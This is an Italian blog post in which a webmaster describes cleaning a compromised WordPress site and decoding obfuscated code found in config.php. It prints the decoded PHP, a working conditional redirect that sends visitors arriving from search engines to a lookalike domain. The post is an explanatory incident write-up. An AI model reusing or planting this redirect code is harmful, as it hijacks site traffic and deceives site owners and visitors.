Hackerato Wordpress: un problema quasi impercettibile

Mi apprestavo a cenare quando ricevo una mail. E' una webmaster di un sito molto famoso che mi informa che ha problemi con il suo sito che usa wordpress. Tutto preso tra una fetta di pizza e una tastiera controllo, e noto che il sito aveva subito un redirect.

Dopo tutta una serie di domande di rito per accertarmi che non abbia fatto lei qualcosa di errato, inizio ad analizzare il problema. Il sito in pratica su google, era diventato altro, e tutto nel giro di meno di 24 ore.!!!!!!!!!!1

Noto che il redirect non avveniva su tutte le pagine, ma che era comunque presente sul 80% del sito. Entro nel server ed inizio a guardare i log, a prima vista non noto nulla di strano neanche nel cms. Ad un certo punto preso però dal dubbio analizzo il file config.php e trovo il colpevole!

Ecco quello che mi è apparso

Non ho potuto postare direttamente il codice ovviamente perchè blogger me lo ha giustamente bloccato, quindi ho messo uno screen a questo link

Per chi non lo conoscesse, questo codice viene spesso usato da chi produce temi per wordpress o altre cose in php, una specie di firma digitale o contenuto diciamo nascosto. In questo caso era stato inserito da questo simpaticissimo pirata informatico, che non chiamerò hacker perchè l'hacker è un'altra cosa.

Rimosso il codice tutto è tornato a funzionare perfettamente. Ma incuriosito da quanto è accaduto ho voluto decriptare questo codice per vedere esattamente chi fosse e cosa aveva creato, perchè spesso in questi codici quando un sito vien violato, sono segnate altre directory colpite.

Dopo averlo decriptato ho trovato questo

zö¥m« ë‡^r‡^
error_reporting(0);
$nccv=headers_sent();
if (!$nccv){
$referer=$_SERVER['HTTP_REFERER'];
$ua=$_SERVER['HTTP_USER_AGENT'];
if (stristr($referer,"yahoo") or stristr($referer,"google") or stristr($referer,"bing") or stristr($referer,"yandex.ru") or stristr($referer,"rambler.ru") or stristr($referer,"mail.ru") or stristr($referer,"ask.com") or stristr($referer,"msn") or stristr($referer,"live")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://goooogle.osa.pl");
exit();
}
}
}

Ed ecco spiegato l'arcano del famoso redirect delle pagine! Come potete vedere chi ha fatto questa cosa, si è creato tutto a regola d'arte.

Leggendo poi in giro ho notato che moltissimi siti che usano wordpress sono stati colpiti da questo problema. Se posso darvi un consiglio, controllate spesso i vostri siti, ed effettuate backup periodici.

O se proprio non usate wordpress!

Nessun commento:

Posta un commento